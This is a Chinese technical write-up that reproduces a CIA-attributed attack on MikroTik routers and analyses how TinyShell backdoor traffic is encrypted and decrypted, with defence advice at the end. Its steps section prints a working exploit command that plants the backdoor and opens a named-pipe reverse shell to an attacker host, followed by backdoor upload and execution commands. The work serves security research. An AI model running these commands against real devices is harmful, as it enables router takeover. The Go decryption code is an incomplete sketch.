CIA组织MikroTik软路由攻击场景复现及后门加解密剖析
字数 1317 2025-08-05 08:20:05
MikroTik软路由攻击场景复现及TinyShell后门技术剖析
概述
本文基于CIA泄露的"Vault 7"文档,详细剖析CIA组织针对MikroTik路由器的攻击技术,包括漏洞利用套件构建、攻击场景复现、TinyShell后门功能分析及其通信模型解密。
环境准备
MikroTik虚拟机搭建
- 系统版本选择:MikroTik RouterOS 6.38.4
- 安装步骤:
- 通过VMware安装MikroTik虚拟机
- 登录信息:用户名
admin,密码为空
- 网络配置:
ip address add address=192.168.109.200/24 interface=ether1
漏洞利用套件准备
-
Chimay-Red:
- 项目地址:https://github.com/BigNerd95/Chimay-Red
- 功能:针对MikroTik RouterOS系统中www程序的漏洞利用工具
-
TinyShell后门:
- 开源项目:https://github.com/orangetw/tsh
- 特性:
- 体积小(静态编译后约55KB)
- 支持正向/反向连接模式
- 通信数据加密传输
攻击场景复现
攻击流程
- 使用Chimay-Red上传TinyShell后门
- 通过TinyShell控制端连接后门
- 验证shell权限
- 上传busybox增强系统功能
- 通过busybox执行恶意操作
详细步骤
-
上传并执行TinyShell后门:
{ echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/bash\n"' tshd | sed -e "s/x //g"; echo "chmod 777 /ram/bash"; echo "./ram/bash"; } | nc -l -q 0 -p 2345; ./StackClash_x86.py 192.168.109.200 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.109.140 2345 < /ram/f | /bin/bash > /ram/f" -
连接TinyShell确认权限:
./tsh 192.168.109.200 -
上传busybox:
./tsh 192.168.109.200 put busybox-i486 /ram/ -
执行恶意操作:
./tsh 192.168.109.200 cd /ram chmod 777 busybox-i486 ./busybox-i486
TinyShell后门技术分析
功能模块
-
文件下载:
- 函数:
tshd_get_file - 功能:从受控设备下载文件到控制端
- 函数:
-
文件上传:
- 函数:
tshd_put_file - 功能:从控制端上传文件到受控设备
- 函数:
-
Shell执行:
- 函数:
tshd_runshell - 功能:在受控设备上执行shell命令
- 函数:
-
通信模块:
- 发送函数:
pel_send_msg - 接收函数:
pel_recv_msg - 使用SHA1算法进行密钥派生
- 发送函数:
通信模型
-
初始化阶段:
- 生成两个20字节的IV数据(IV1和IV2)
- 通过SHA1算法派生发送和接收的AES密钥
- 交换challenge数据(
\x58\x90\xAE\x86\xF1\xB9\x1C\xF6\x29\x83\x95\x71\x1D\xDE\x58\x0D)
-
密钥派生:
send_aes_key = SHA1(key + IV1)[:16] recv_aes_key = SHA1(key + IV2)[:16] send_aes_iv = IV1[:16] recv_aes_iv = IV2[:16] -
数据加密:
- 使用AES-CBC模式
- 每16字节数据块加密
- 前一块密文作为下一块的IV
-
通信数据结构:
[2字节长度][实际载荷数据]
通信解密程序实现
Go语言实现
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/sha1"
"encoding/hex"
"fmt"
"io/ioutil"
"strings"
)
func main() {
key := "tinyshell"
// 读取捕获的通信数据
content, err := ioutil.ReadFile("capture.txt")
if err != nil {
fmt.Println("Error reading file:", err)
return
}
// 解析初始IV数据
firstdata_hex, _ := hex.DecodeString(firstdata)
if len(firstdata_hex) == 40 {
send_iv := firstdata_hex[:20]
recv_iv := firstdata_hex[20:]
// 派生AES密钥
send_aes_key := CalculateSHA1(append([]byte(key), send_iv...))[:16]
recv_aes_key := CalculateSHA1(append([]byte(key), recv_iv...))[:16]
// 解密通信数据
for _, packet := range packets {
if isSendPacket(packet) {
Decrypt_msg(packet, send_aes_key, &send_aes_iv)
} else {
Decrypt_msg(packet, recv_aes_key, &recv_aes_iv)
}
}
}
}
func Decrypt_msg(ciphertext []byte, aeskey []byte, aes_iv *[]byte) {
// 解密实现细节...
}
func CalculateSHA1(input []byte) []byte {
hasher := sha1.New()
hasher.Write(input)
return hasher.Sum(nil)
}
解密流程
- 从捕获数据中提取初始IV(40字节)
- 使用固定密钥"tinyshell"和IV派生AES密钥
- 识别通信方向(发送/接收)
- 按块解密通信数据
- 解析载荷内容
防御建议
- 及时更新固件:确保MikroTik设备运行最新版本
- 禁用不必要的服务:如非必要,关闭www服务
- 网络隔离:将路由管理接口与业务网络隔离
- 通信监控:检测异常加密通信模式
- 文件完整性检查:定期检查系统关键文件是否被篡改
总结
本文详细剖析了CIA组织针对MikroTik路由器的攻击技术链,从漏洞利用到后门通信机制,提供了完整的复现方法和解密工具实现。理解这些技术有助于安全研究人员更好地防御此类高级威胁。